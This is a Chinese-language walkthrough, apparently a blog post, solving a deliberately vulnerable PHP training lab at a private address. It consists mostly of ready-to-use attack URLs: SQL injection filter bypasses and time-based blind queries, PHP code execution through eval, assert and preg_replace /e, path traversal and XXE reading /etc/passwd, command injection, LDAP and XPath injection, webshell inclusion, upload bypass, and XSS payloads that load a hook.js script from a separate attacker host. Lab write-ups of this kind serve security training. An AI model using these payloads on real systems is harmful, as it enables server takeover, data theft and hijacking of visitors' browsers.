sql注入:
(1)没有任何过滤的拼接
1
| http://192.168.3.51/sqli/example1.php?name=root' and 1=12 union select version(),user(),database(),4,5 --+-
|
(2)只过滤了空白符,用/**/代替即可
1
| http://192.168.3.51/sqli/example2.php?name=root'/**/and/**/1=112/**/union/**/select/**/1,database(),3,4,5/**/%23
|
(3)跟上面一样,只不过这次过滤了多个空白符,bypass方法同上
1
| http://192.168.3.51/sqli/example3.php?name=root'/**/and/**/1=12/**/union/**/select/**/user(),2,3,4,5/**/%23
|
(4)用mysql_real_escape_string()把传过来的id先转义再拼接,其实这里跟没任何过滤是一样的,因为我们的注入语句里根本也没有单引号这类敏感字符
1
| http://192.168.3.51/sqli/example4.php?id=2 and 12=1 union select 1,version(),3,4,5 %23
|
(5)要求开头是任意数字,开头本来就是数字呀,搞不懂,所以根本不存在什么绕过,正常写注入语句即可
1
| http://192.168.3.51/sqli/example5.php?id=2 and 1=12 union select version(),2,3,4,5 %23
|
(6)要求结尾是任意数字,那就按它说的呗,结尾随便给个数字就好了
1
| http://192.168.3.51/sqli/example6.php?id=2 and 1=12 union select version(),2,3,4,5 %233
|
(7)注意这里的’/m修饰符,对,没错,就是它,表示多行匹配,所以用%0a换行下即可绕过
1
| http://192.168.3.51/sqli/example7.php?id=2%0aand%0a1=112%0aunion%0aselect%0auser(),2,3,4,5%0a%23
|
(8)用mysql_real_escape_string()做了下转义,而后再拼接,不过需要注意下,这里是用反引号闭合的,虽然没法正常注入,不过盲注依然可行的
1
| http://192.168.3.51/sqli/example8.php?order=name`,(if((ascii(mid((select version()),1,1))=53),sleep(5),1))%23
|
(9)同上,利用时间盲注依然是可行的
1
| http://192.168.3.51/sqli/example9.php?order=name,(if((ascii(mid((select version()),1,1))=53),sleep(5),1))%23
|
php代码执行:
(1)把没有任何过滤的内容就直接给eval,将前后的双引号闭合即可
1
| http://192.168.3.51/codeexec/example1.php?name=";system('ls -la');phpinfo();//
|
(2)同样,对传入的值没有任何过滤,crate_function()相必大家都已经非常熟悉了,专门用来组装函数,在以前的各类php代码执行漏洞中经常能看到它的影子,它会出现代码执行的根本原因还是它内部还会有个eval的动作
1
| http://192.168.3.51/codeexec/example2.php?order=id,$b->name);}system('ls -al');//
|
(3)preg_replace()本来是个挺正常的正则替换函数,但加了/e修正符后,瞬间就污了很多,要替换的内容的那一部分会被当做php代码来执行
1
| http://192.168.3.51/codeexec/example3.php?new=system('ls -l')&pattern=/lamer/e&base=Hello lamer
|
(4)闭合前面的单引号,再拼接自己的php代码即可,典型的代码执行函数assert(),不多说,大家应该非常熟悉了,各类php一句话中经常也能看到
1
| http://192.168.3.51/codeexec/example4.php?name=hacker'.system('ls -la');//
|
任意文件读取:
(1)对传入的文件路径没有进行任何过滤,直接跟上要读的文件即可
1
| http://192.168.3.51/dirtrav/example1.php?file=../../../../etc/passwd
|
(2)把’/var/www/files/‘这个路径截掉,然后只取后面的文件名,绕过自然也很简单,在这个路径的基础上继续跟上正常的文件路径即可
1
| http://192.168.3.51/dirtrav/example2.php?file=/var/www/files/../../../../etc/passwd
|
(3)拼接了个.png的后缀,%00截断后缀php高版本早已修复该漏洞
1
| http://192.168.3.51/dirtrav/example3.php?file=../../../../etc/passwd%00
|
php文件包含:
(1)没有任何过滤的包含,直接包含本地的webshell即可,如下,被包含的大马正常执行
1
| http://192.168.3.51/fileincl/example1.php?page=../upload/images/404.php
|
(2)在后面拼接了个.php的后缀,同样,利用%00截断
1
| http://192.168.3.51/fileincl/example2.php?page=../upload/images/404.php%00
|
命令执行:
(1)没有任何过滤的传入,在linux中可用分号分割连续执行多个命令,win中可用&&
1
| http://192.168.3.51/commandexec/example1.php?ip=127.0.0.1;ls -la
|
(2)一眼看去,这个ip正则确实没法突破,但后面却紧跟了个/m修饰符,不得不又让我想起了%0a换行
1
| http://192.168.3.51/commandexec/example2.php?ip=127.0.0.1%0als -la
|
(3)header()后面竟然没有结束脚本,大忌,header()只是跳转到指定页面,但如果你不手工结束当前脚本,即使跳到别的页面,当前脚本也依然会执行完再退出
1 2
| http://192.168.3.51/commandexec/example1.php?ip=127.0.0.1;ls -la C:\>curl "192.168.3.51/commandexec/example3.php?ip=127.0.0.1;ls" 注意这里不能用浏览器了,因为它会跳过去,不过,你可以用curl来看结果
|
XXE注入:
(1) 对外部的xml数据没有任何过滤,此时创建一个外部实体,而实体的作用是读取/etc/passwd文件,然后引用该实体,注意要url编码下
1 2
| http://192.168.3.51/xml/example1.php?xml=<!DOCTYPE result [<!ENTITY res SYSTEM "file:///etc/passwd" >]><text>&res;</text> http://192.168.3.51/xml/example1.php?xml=%3C%21DOCTYPE%20result%20%5B%3C%21ENTITY%20res%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%20%3E%5D%3E%3Ctext%3E%26res%3B%3C%2ftext%3E
|
(2)没有任何过滤的拼接
1
| http://192.168.3.51/xml/example2.php?name=hacker'] | //*| //*['
|
ladp注入:
(1)ldap允许匿名登录
1
| http://192.168.3.51/ldap/example1.php
|
(2)闭合原有的过滤器,把后面的password截断即可
1
| http://192.168.3.51/ldap/example2.php?name=hacker)(cn=*))%00&password=hacker
|
xss:
(1)没有任何过滤的情况
1
| http://192.168.3.51/xss/example1.php?name=<script>alert('hello')</script>
|
(2)只过滤了’‘,大小写转换
1
| http://192.168.3.51/xss/example2.php?name=<Script>alert('hello')</sCript>
|
(3)这次依然是过滤’‘,且不区分大小写,在>前面加个空格即可绕过
1
| http://192.168.3.51/xss/example3.php?name=<ScripT >alert('hello')</Script >
|
(4)不分区大小写过滤了’script’字符,没关系,把它转成对应的ASCII就好了
1
| http://192.168.3.51/xss/example4.php?name=<svg/onload="var i=String.fromCharCode(115, 99, 114, 105, 112, 116);s = createElement(i);body.appendChild(s);s.src='http://192.168.3.28:3000/hook.js';"
|
(5)过滤了alert,可惜我们都没用alert
1
| http://192.168.3.51/xss/example5.php?name=hacker<script src="http://192.168.3.28:3000/hook.js"></script>
|
(6)闭合前面的双引号,继续写js代码就好了
1
| http://192.168.3.51/xss/example6.php?name=script";s=document.createElement($a);s.src="http://192.168.3.28:3000/hook.js";document.getElementsByTagName( "head" )[0].appendChild(s);//
|
(7)对特特殊字符进行实体化,但这似乎并没能改变什么
1
| http://192.168.3.51/xss/example7.php?name=script';s=document.createElement($a);s.src='http://192.168.3.28:3000/hook.js';document.getElementsByTagName( 'head')[0].appendChild(s);//
|
(8)闭合action的另一半双引号,后面再跟上script标记即可绕过
1
| http://192.168.3.51/xss/example8.php/"><script>alert('hello')</script>
|
(9)location.hash.substr获取的内容没有任何过滤
1
| http://192.168.3.51/xss/example9.php#<script src=http://192.168.3.28:3000/hook.js></script>
|
php文件上传:
(1)没有任何过滤,直接传php,大马正常执行
1
| http://192.168.3.51/upload/example1.php
|
(2)黑名单绕过,只要.php后缀,.php3即可绕过
1
| http://192.168.3.51/upload/example2.php
|
小结:
闲的没事儿,拿来跑跑,没啥技术含量,顺带记录下,只为留给有需要的人